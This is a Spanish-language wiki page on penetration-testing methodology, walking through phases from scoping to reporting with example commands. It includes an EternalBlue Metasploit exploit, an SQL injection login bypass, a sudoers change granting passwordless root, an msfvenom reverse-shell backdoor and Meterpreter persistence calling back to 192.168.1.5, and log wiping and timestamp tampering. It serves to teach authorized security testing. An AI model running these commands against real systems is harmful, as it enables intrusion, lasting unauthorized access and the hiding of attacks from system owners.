[[hack_roadmap-0|Up]] ====== Metodologías de Pentesting ====== Las metodologías de pentesting proporcionan un marco estructurado para realizar pruebas de penetración de manera sistemática y efectiva. Estas metodologías aseguran que se cubran todas las áreas críticas y que las pruebas sean reproducibles y consistentes. A continuación, se detallan las fases principales de una prueba de penetración, junto con ejemplos prácticos y recursos útiles. ===== Planificación y Preparación ===== ==== Conceptos Clave ==== * **Definición del Alcance:** Determinar los sistemas, redes y aplicaciones que serán evaluados. * **Aprobación y Autorización:** Obtener permiso explícito de los propietarios de los sistemas para llevar a cabo las pruebas. * **Identificación de Objetivos y Recursos:** Definir objetivos específicos y asignar los recursos necesarios para las pruebas. ==== Ejemplos y Tareas Comunes ==== * **Creación de un Documento de Alcance:** # Alcance de la Prueba de Penetración **Objetivos:** * Identificar vulnerabilidades en la red interna. * Evaluar la seguridad de la aplicación web principal. **Sistemas Incluidos:** * Servidores: 192.168.1.10, 192.168.1.20 * Aplicación Web: https://app.ejemplo.com **Exclusiones:** * Sistemas de desarrollo y prueba. ==== Recursos ==== * [[https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf|NIST SP 800-115: Technical Guide to Information Security Testing and Assessment]] * [[https://owasp.org/www-project-web-security-testing-guide/|OWASP Testing Guide]] ===== Recolección de Información (Reconocimiento) ===== ==== Conceptos Clave ==== * **Reconocimiento Pasivo:** Obtener información sobre el objetivo sin interactuar directamente con él. * **Reconocimiento Activo:** Interactuar directamente con el objetivo para obtener más detalles específicos. ==== Ejemplos y Tareas Comunes ==== * **Reconocimiento Pasivo:** import requests from bs4 import BeautifulSoup url = 'https://www.ejemplo.com' response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') for enlace in soup.find_all('a'): print(enlace.get('href')) * **Reconocimiento Activo con Nmap:** nmap -sS -p 1-65535 -T4 192.168.1.10 ==== Recursos ==== * [[https://nmap.org/book/man.html|Nmap Official Documentation]] * [[https://recon-ng.readthedocs.io/en/latest/|Recon-ng Documentation]] ===== Escaneo y Enumeración ===== ==== Conceptos Clave ==== * **Escaneo de Puertos:** Identificación de puertos abiertos y servicios en ejecución. * **Enumeración de Servicios:** Obtención de detalles sobre los servicios identificados, como versiones de software y configuraciones. ==== Ejemplos y Tareas Comunes ==== * **Escaneo de Puertos con Nmap:** nmap -A 192.168.1.10 * **Enumeración de Servicios con NSE Scripts:** nmap -sV --script=banner,ftp-anon,ssl-cert 192.168.1.10 ==== Recursos ==== * [[https://nmap.org/book/nse.html|Nmap Scripting Engine (NSE)]] * [[https://github.com/CiscoCXSecurity/enum4linux|Enum4linux GitHub Repository]] ===== Explotación ===== ==== Conceptos Clave ==== * **Explotación de Vulnerabilidades:** Uso de técnicas y herramientas para aprovechar vulnerabilidades identificadas. * **Pruebas de Explotación:** Verificar si las vulnerabilidades pueden ser explotadas para comprometer el sistema. ==== Ejemplos y Tareas Comunes ==== * **Explotación de Vulnerabilidades con Metasploit:** msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 exploit * **Explotación de SQL Injection:** import requests url = 'https://www.ejemplo.com/login' payload = {"username": "admin' OR '1'='1", "password": "password"} response = requests.post(url, data=payload) if "Bienvenido" in response.text: print("Vulnerable a SQL Injection") ==== Recursos ==== * [[https://www.offensive-security.com/metasploit-unleashed/|Metasploit Unleashed]] * [[http://sqlmap.org/|SQLMap Documentation]] ===== Escalada de Privilegios ===== ==== Conceptos Clave ==== * **Escalada Vertical:** Obtener niveles de acceso más altos en el sistema objetivo. * **Escalada Horizontal:** Acceder a cuentas de otros usuarios con permisos similares. ==== Ejemplos y Tareas Comunes ==== * **Uso de ''sudo'' para Escalada de Privilegios:** sudo -l * **Explotación de Sudoers Mal Configurado:** echo 'username ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/username sudo su - ==== Recursos ==== * [[https://gtfobins.github.io/|GTFOBins]] * [[https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS|Linux Privilege Escalation Awesome Scripts (LinPEAS)]] ===== Mantener el Acceso ===== ==== Conceptos Clave ==== * **Backdoors:** Instalación de puertas traseras para mantener acceso al sistema comprometido. * **Persistencia:** Técnicas para asegurar que el acceso se mantenga incluso después de reinicios y actualizaciones. ==== Ejemplos y Tareas Comunes ==== * **Instalación de una Puerta Trasera con Metasploit:** msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > backdoor.exe * **Configurar Persistencia en Meterpreter:** meterpreter > run persistence -X -i 10 -p 4444 -r 192.168.1.5 ==== Recursos ==== * [[https://www.offensive-security.com/metasploit-unleashed/persistence/|Persistence in Meterpreter]] * [[https://github.com/EmpireProject/Empire|Empire Project]] ===== Cobertura de Huellas ===== ==== Conceptos Clave ==== * **Borrado de Logs:** Eliminación o manipulación de registros para ocultar actividad. * **Ocultación de Actividad:** Uso de técnicas para evitar la detección durante y después de la explotación. ==== Ejemplos y Tareas Comunes ==== * **Borrado de Logs en Linux:** echo "" > /var/log/auth.log echo "" > /var/log/syslog * **Manipulación de Timestamps:** touch -t 202307151230.30 archivo_modificado ==== Recursos ==== * [[https://resources.infosecinstitute.com/topic/anti-forensics-techniques/|Anti-Forensics Techniques]] ===== Reporte y Documentación ===== ==== Conceptos Clave ==== * **Documentación de Resultados:** Registro detallado de todas las vulnerabilidades y explotaciones realizadas. * **Recomendaciones de Mitigación:** Sugerencias para corregir las vulnerabilidades identificadas. ==== Ejemplos y Tareas Comunes ==== * **Ejemplo de Estructura de Reporte:** # Reporte de Pruebas de Penetración ## Resumen Ejecutivo Breve resumen de los hallazgos y recomendaciones. ## Detalles de la Prueba * **Fecha de Prueba:** DD/MM/AAAA * **Sistemas Evaluados:** Detalle de los sistemas evaluados. ## Hallazgos ### Vulnerabilidad 1: Descripción * **Impacto:** Alto/Medio/Bajo * **Recomendaciones:** Pasos para mitigar. ### Vulnerabilidad 2: Descripción * **Impacto:** Alto/Medio/Bajo * **Recomendaciones:** Pasos para mitigar. ==== Recursos ==== * [[https://owasp.org/www-project-vulnerability-management-guide/|OWASP Vulnerability Management Guide]] * [[http://www.pentest-standard.org/|Penetration Testing Execution Standard (PTES)]] ===== Conclusión ===== Las metodologías de pentesting proporcionan un marco estructurado para realizar pruebas de penetración de manera sistemática y efectiva. A través de las fases de planificación, recolección de información, escaneo, explotación, escalada de privilegios, mantenimiento de acceso, cobertura de huellas y reporte, los profesionales de la seguridad pueden identificar y mitigar vulnerabilidades en los sistemas y redes. Los recursos proporcionados ofrecen guías detalladas para profundizar en cada uno de estos aspectos y mejorar tus habilidades en pentesting. ===== Recursos Adicionales ===== * [[http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines|Penetration Testing Execution Standard]] (PTES) * [[https://owasp.org/www-project-web-security-testing-guide/|OWASP Testing Guide]] (OWASP)